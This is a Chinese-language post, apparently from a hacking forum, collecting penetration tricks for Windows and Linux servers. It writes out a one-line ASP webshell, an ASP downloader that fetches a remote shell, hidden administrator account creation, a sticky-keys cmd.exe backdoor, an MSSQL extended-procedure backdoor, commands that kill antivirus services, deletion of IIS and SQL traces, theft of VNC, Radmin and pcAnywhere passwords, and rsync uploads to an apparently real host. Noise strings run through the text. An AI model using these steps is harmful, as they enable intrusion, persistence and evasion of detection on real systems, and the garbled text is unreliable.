渗透技巧总结

admin

旁站路径问题
0 Q) G# C7 j& w, B+ g6 {  g: f1、读网站配置。
2、用以下VBS
) D1 v7 y. r8 c. S' X8 q" sOn Error Resume Next
% Q8 O! H5 Q. A1 O" iIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

5 g! O! l  U; S- P% W  nMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

% [' b6 D+ @. G) r# PUsage:Cscript vWeb.vbs",4096,"Lilo"
) W5 i( a+ N2 k        WScript.Quit
! ]9 Q* W4 h! L' yEnd If
6 v( h9 h6 `. n/ _# _. OSet ObjService=GetObject
  G& ]+ Z- {. @( G- {9 m. q
8 I* z9 q% f" {6 j5 B("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
; b- I  m' d0 I        If IsNumeric(obj3w.Name)

  i) C" I  I  T+ Y( d2 mThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
4 H8 I  g1 G2 Q" Q7 e: e3 H. l         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
" v; A) f' i  I' b- V& m                If Err
$ J7 z$ c8 y4 ]
5 I- q+ B' F; a: l6 I0 Z<> 0 Then WScript.Quit (1)
: c$ K  p) ^- `$ A                WScript.Echo Chr(10) & "[" &
% G3 |$ m& f, l9 ?8 j
, F7 g& H7 }2 G3 o) pOService.ServerComment & "]"
7 [0 p( k. Q* D1 ]$ a                For Each Binds In OService.ServerBindings
) ~/ p( l8 s$ W. e5 _% ~     
7 z: u  o" X# z& n/ H3 e( N
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
  z4 i) N0 ?/ H8 W                        
. h- B% O% g, L% A
: P& H6 X, L3 TWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
7 l3 T2 ]7 y; c4 M                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
+ p1 r  J1 q: P6 L& p- ^3 C+ Z        End If
! ~8 [) `; k4 R) gNext
复制代码
; y7 Z& I0 `1 {$ b# s3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
9 h/ T+ J- m, |; b& E% g) b4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
8 Z7 k1 p! E% M* F) I) l$ w3 LWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
1 \- _' f: |3 e% Z- q" HphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
* m; C* x' v: O+ A1 f/ I  x& Rphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
. K4 j; W" l% z' q/ y0 F. d网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
9 d3 t9 M! W0 l# A% VCMD下操作VPN相关
8 |6 `+ S' @4 w8 n; Unetsh ras set user administrator permit #允许administrator拨入该VPN
1 y& E7 h$ y- Mnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
( J! B* n3 U; u' o# Vnetsh ras ip show config #查看VPN分配IP的方式
- l5 K+ K5 e3 ?; R. Jnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
2 g/ V) `* [8 H& c9 Q. {————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
) t  ~; ^# }, N3 s2 [4 _0 U% O4 P7 rexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
! T" K" X; z3 d" w, P
另类的加用户方法
% m" V8 R! c$ l9 R( Y1 s在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
. L' Z5 |3 L8 rvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
7 z  W2 i) v- R; mz.changePassword("123456","")
' N2 x- Y2 I: h1 Z7 X; ~3 ?z.setting("AccountType")=3;
7 T* L( v) b: ~: q7 r
9 K( R0 ]& B; Yvbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
) N8 }- M( s0 u) T- S1 z——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
0 E( v- u& z( s' J- i2 Y5 N
2 O4 Y) L$ C/ \! {  d命令如下
' s& v2 h: A) Y* h; S8 i! Dcacls c: /e /t /g everyone:F           #c盘everyone权限
6 I2 R, v+ J) K. y1 M7 wcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
& p% k9 J) c; P% K# ^% n3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
5 G* q6 }! K* ec、终端服务器超出了最大允许连接
9 t+ m! @1 k$ y* E8 L5 O  j: w  ]( YXP 运行mstsc /admin
- c7 |* v0 t9 [* F; Q0 Y" H2003 运行mstsc /console   
" F9 F) [) Q! o* G) W: |) w
杀软关闭（把杀软所在的文件的所有权限去掉）
9 J# x8 b% P8 N- ?7 R7 h9 Q处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
5 o' N+ h: y- u8 j, Gnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

8 H: n$ O  G; S卖咖啡：net stop "McAfee McShield"
. x) [3 [$ O$ k* _1 v————————————————————

( R" D8 O" Q* I* h5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
7 P/ r# x5 g7 c3 E; p: C% M& J; B; W——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
, q- R0 z0 q; o! {( L4、利用Hacker Defender把相关用户注册表隐藏
& K" N) h) n2 u% K) |* B9 p0 z/ b, G——————————————————————
+ n& t3 i1 `" Y# d5 [MSSQL扩展后门：
USE master;
6 T+ w: g4 R) \EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
3 E/ o2 A  B- K2 \  ?6 C$ A, ]GRANT exec On xp_helpsystem TO public;
  Q. ]. X- ]7 t5 y. T———————————————————————
) r! ~! J+ v( C, n2 m日志处理
# c! G/ Y' I  z( xC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
9 ~/ l% P. [' e* E! D& qex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
, ~* e) G2 N6 u# i; i+ X不成功，“原文件...正在使用”
) i3 q2 p8 i- f" i当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
! W& ]; A, s; R" @0 [5 U5 [& N$ }
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
- A$ \+ `- t' C- J" B  x5 O7 a6 s找到接接过的信息删除。
% @. D2 z' M3 r; A9 lMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
9 Z- l$ ^1 `' T/ `- F$ {2 g# }
Server\90\Tools\Shell\mru.dat
—————————————————————————
& b$ b2 A$ j8 q0 ]" Z! z6 ~+ a1 c防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
6 ]1 b, p3 v2 {" `- D: T5 S
4 Z+ }" a8 B  c. ~0 ]9 e2 x<%
) ~4 I3 F( \- d& |* @Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
; Y# _3 t! }! P  ~, f2 }Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
! {% G# U$ |- ?0 C; ^" K.Open "Get", s_RemoteFileUrl, False, "", ""
9 T2 _; R  s- I+ h  R.Send
1 C& p: }( n$ C3 s! h. FGetRemoteData = .ResponseBody
End With
: m. X* m6 P* z$ iSet Retrieval = Nothing
, W9 X6 y- d8 o: a/ c6 _Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
( h$ A' \" V" M- T. x.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
" w/ V% x  f  F.Cancel()
.Close()
End With
Set Ads=nothing
9 S; j! q* C9 WEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
6 [7 r; G+ x% e, I%>

VNC提权方法:
, y) g/ t% L: \+ T利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
# R2 S# a% a1 H; `! k6 dregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
/ {* ^2 M5 Z/ H. U+ D/ Vregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
7 D* Y' k5 |! ?! H8 yRadmin 默认端口是4899，
' w0 W; y2 l/ zHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
- W- M) D3 S4 w保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
* [' Q% L7 t8 x" y8 m% ]搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
0 R6 `" z# R+ @$ y没有删cmd组建的直接加用户。
7 n) C- K8 S4 D8 Z$ N7i24的web目录也是可写，权限为administrator。
3 \. e* k6 _  k- P7 I* C
# n% i; g+ H7 E8 E1433 SA点构建注入点。
8 ^' I$ P& S& h" H<%
& B6 _( ^8 R0 S( O; f" G( K3 astrSQLServerName = "服务器ip"
5 U8 O, V( `  dstrSQLDBUserName = "数据库帐号"
( M* ]' f# |; b( p$ k( fstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
8 h# S0 l3 Z% B( H9 H- w1 vstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
- D. c: J0 S) r! S& P7 {  k- a
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

, e4 z! ]* c% s9 s9 j0 V# PstrSQLDBName & ";"
# e) A$ I6 D  iconn.open strCon
dim rs,strSQL,id
* Z- ^. |# }1 v1 Y# gset rs=server.createobject("ADODB.recordset")
' d" y. _3 Q( c0 b9 U" _id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
* n6 h' R' N5 o******liunx 相关******
! A) N8 d) Q4 o* }  V7 D+ T. R一.ldap渗透技巧
1.cat /etc/nsswitch
' p3 n" _9 C! r9 c6 `看看密码登录策略我们可以看到使用了file ldap模式
1 Q& j) T+ p9 _1 y
5 Z8 X1 Z: D% l+ @- J& q; E2 t) z/ f2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
1 _( x4 v3 e) C: d
+ m& x4 p- h: M& ^3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. g# ], n4 m+ }' `3 v0 R5 j8 u有密码形式
9 g% Y: V1 `: [1 _/ aldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 N5 o- b' o5 {/ P3 J+ M

; o- D$ H7 t/ q: i% e+ v4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
+ m: d' ~: v. D" r4 W( h/ g1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
6 `1 G  e3 ~* `/ a$ r" ?1 n
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
: p& K+ a) l2 \" ^, _  A7 f找到ou,dc,dc设置
. h2 K2 p8 s5 N: M  s# F
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* T- V7 `( B5 m' Z有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

8 m+ m1 u/ e7 D" z# ?"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


3 Q: |( d" z) Z* g4.查找10条用户记录
; B5 |. V( q( f) lldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 Z1 z) p2 S' z) ?( l3 {
渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
" T* I' u4 ~2 V# u% Fversion: 1
dn: dc=ruc,dc=edu,dc=cn
( h4 _! v" M1 g5 [+ Mdc: ruc
objectClass: domain

5 O" M5 f5 E) v. U% zdn: uid=manager,dc=ruc,dc=edu,dc=cn
5 u% w$ b: ]) t8 {uid: manager
/ o' {4 Q( \8 o8 w+ [0 C" yobjectClass: inetOrgPerson
0 E" _. Q$ {- X" a  P5 C; U; yobjectClass: organizationalPerson
( g6 L$ c7 o1 t! o( h' l0 gobjectClass: person
objectClass: top
sn: manager
cn: manager
3 F0 M+ P  v6 o- ?6 k9 X+ s
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
, ?* ~) C2 W+ \8 w( |uid: superadmin
! R4 q4 j8 N5 T3 e% D. KobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
. p; ~7 E- g7 T" ~8 wobjectClass: top
sn: superadmin
cn: superadmin

( g- q) {0 k% s  V' G! Ndn: uid=admin,dc=ruc,dc=edu,dc=cn
  X6 t0 Y/ e7 J5 H( \uid: admin
) [6 w9 c5 Q" q5 O0 AobjectClass: inetOrgPerson
objectClass: organizationalPerson
, b' z/ V% n% I5 w3 X$ xobjectClass: person
objectClass: top
8 [; }3 r) Y: p- [2 }sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
; t, z5 e# o1 R$ C8 G# W5 O: I2 LobjectClass: inetOrgPerson
; L  ?' V& R8 ?sn: dcp_anonymous
cn: dcp_anonymous
! a# l% q. F' R- T
) k$ C1 R6 b. H0 @& H2.查看基类
; ^! J7 z  R: u/ x4 J$ Obash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

; g: W  k9 h- `, lmore
& B5 i' Q; v, Xversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
+ a. H; w: a* a; j, x& Z2 X# MobjectClass: domain
1 Q# X! }! y, a
% O$ _* N2 C) S3 S; |( b3 y) }, w3.查找
% B; o% X/ q' I' Bbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
" G; m0 M5 t' j8 aobjectClass: top
, A; ]* ^, _% O+ |7 \* ?namingContexts: dc=ruc,dc=edu,dc=cn
3 T  b' j; Y3 Z" N0 ^: N6 UsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
  P# h0 B, P5 e1 e4 i; s$ i. {+ rsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
6 k" P  P% b4 n! l( W! BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
, V5 z, Z4 Z& C+ ~- x4 Y2 R1 H1 tsupportedExtension: 2.16.840.1.113730.3.5.6
) x4 e7 V& d" Q/ r/ x) ksupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
3 C$ W" ~* z+ Y" i( ^0 q4 p/ ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
) {6 x9 p  U; m/ b  x/ o. S( R: AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
5 b. b9 h2 ]/ s' j. @# l  {3 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
. G& x' t6 C$ R6 i. isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
' G+ D* y3 @+ w. }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
+ Y* v! T" q9 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
5 @' ]8 r  k1 l! z# ]1 C9 RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
$ G/ u  V9 s) C$ KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
+ E% Y0 a# P% r$ D( `3 d2 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
* d8 P  c! u0 u' \* wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
$ V1 d$ Y; B7 [0 d9 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
( W) J/ }0 K6 z3 n, s9 l8 C& hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
- I# i* Q" y# e4 D; x3 D! [' NsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
, K* K1 v) e- g& O  J) fsupportedControl: 2.16.840.1.113730.3.4.2
! ~: p) x  N" I+ a! |1 Y+ N; f% B, h( JsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
; g$ z3 O3 u' R1 A5 V) I, Q& J- ksupportedControl: 2.16.840.1.113730.3.4.5
0 W4 q" T5 x2 RsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
9 h- H2 s* N4 V4 osupportedControl: 2.16.840.1.113730.3.4.15
* U. _" p. O' r1 e: `6 k& msupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
: f9 b3 E% S. l2 g9 U: ?, H& L. c2 vsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
. ]8 M/ K) _2 T, b! ?supportedControl: 1.3.6.1.4.1.1466.29539.12
  x" x1 j, _) v7 ZsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
9 M9 j& {* n* m7 ssupportedControl: 2.16.840.1.113730.3.4.13
" _& i0 ?' R. |. Q9 Q6 fsupportedSASLMechanisms: EXTERNAL
7 W( s9 i6 U# q8 x; G( q$ ^9 xsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
* x4 _  g$ m! |. |' jsupportedLDAPVersion: 3
5 H' b% v+ I4 K, G* C& R  ~vendorName: Sun Microsystems, Inc.
# c& [2 o* H1 qvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
6 \% P/ M& \% e$ X% y6 {' anetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0 Q  N8 T. j+ j& asupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
9 F+ T1 e: R: E* A6 m. H% N* |supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
2 D& X& e8 C* y4 `# U+ DsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
  c8 B& z' Y" Q# e: usupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
2 d9 }# [1 A+ j' K8 o% Z8 `/ TsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
$ P4 K: m" J7 M+ HsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
: z9 r7 \8 D" ~% f) jsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
' l) u5 j" _8 P0 c# R! F% `supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
+ a" W4 G& s: BsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
' r3 Q4 n/ k( S* |3 ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
6 r$ v+ Z0 t8 n# V% [4 qsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
4 R0 y+ M7 o  f2 b! x7 o7 l* XsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
1 w+ B2 Z: o% U: d5 ~supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
( P8 Q' O1 W4 d0 h& N4 \' |supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
) `8 ~0 A* t4 l* ssupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
' h3 n! g6 |6 \; tsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
9 j: d* c. Q  @# F) ]/ F9 ?supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
8 }  u7 O$ k% s$ }/ TsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
' B) V& T; N# Q0 `2 e: k+ VsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
6 {5 l. \9 Z( W2 ~supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
7 B6 J7 O; @1 z列举IP
3 h+ P& e; k6 G5 s. ], \) l——————
6 G/ q5 b/ \: n3 `- J0 m2 |3 I3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
' N7 A5 g& N: F# L  oimg_auto
3 C" j7 X. h- V6 z1 U6 @  fhtml_cms
6 U% W4 x8 t$ J2 kimg_cms
' t" h6 ?: p/ a' A0 c. ^* hent_cms
* u6 O3 `& u" }" w0 I) }. Rent_img
7 G; \5 m2 L  jceshi
res_img
res_img_c2
chip
chip_c2
# e9 C. G! B4 E! gent_icms
games
2 M& v' k5 \: a5 X& u' |. Qgamesimg
9 Q" h  K- H, Z. ]( Tmedia
7 N' b% q% I, E, {' Rmediaimg
fashion
; }; W7 T" H' S9 j. w& ores-fashion
* m4 l% Q1 S/ G- d/ p3 ~% S: vres-fo
: X: B9 N1 M8 w! o0 T* r3 R8 A3 Etaobao-home
) a' L2 f3 V' U$ Nres-taobao-home
house
+ p9 U- t& b* J& l, ~# wres-house
. ]8 k) R) V! jres-home
res-edu
res-ent
2 p( J+ q3 d2 [2 Jres-labs
res-news
$ N8 R3 n5 j( v* F) Nres-phtv
6 F8 E; R! D! ]8 t% tres-media
/ e7 |% ]% R, \home
edu
news
; d& {+ Y  K' n" w. n8 u) vres-book

  {: {: x- O1 ?% u5 y9 o看相应的下级目录(注意一定要在目录后面添加上/)
3 u1 K+ \- F0 h6 F* {* D
. i& T. k2 b& R4 }- l0 E
: a! y8 C* n: t2 k/ d  f/ {rsync 210.51.X.X::htdocs_app/
+ |; i, t, S) }rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

- c9 D% t2 v5 q% y2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
# v# ?" X" w7 P' M$ [
. T$ E7 F/ ^( Q& O3 W3 _3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
- ]5 O7 G4 w7 O7 Ihttp://app.finance.xxx.com/warn/nothack.txt
0 P2 \: g* _+ e& D
5 @5 @0 C( }; p& D" X四.squid渗透技巧
nc -vv baidu.com 80
5 p# Y2 q4 L0 ]' C: z6 KGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
$ H0 ~6 v) Z! M; o& t6 m五.SSH端口转发
. r( v& r; V1 tssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
% p% r. ~: r4 a& n; C3 ^6 [; O- {index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

9 r# p& Y6 E! n+ V4 R15&catid=32:languages&Itemid=47
& {4 o- d2 P: [7 C' y$ F  W
重新设置密码
0 ]( n, k6 E, e. ?* I5 L' Bindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
) `9 j2 `! p9 cuseradd -o -u 0 nothack
# g) l6 \# n. A  U2 s" u/ w
) R0 M4 W: c5 r1 u7 E, ^八.freebsd本地提权
4 s# F8 i4 M2 G; l% e8 a0 h[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
; t3 ]9 |% r2 c! H& V* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
  m7 D, b# _: l$ j/ m*
calling nmount()

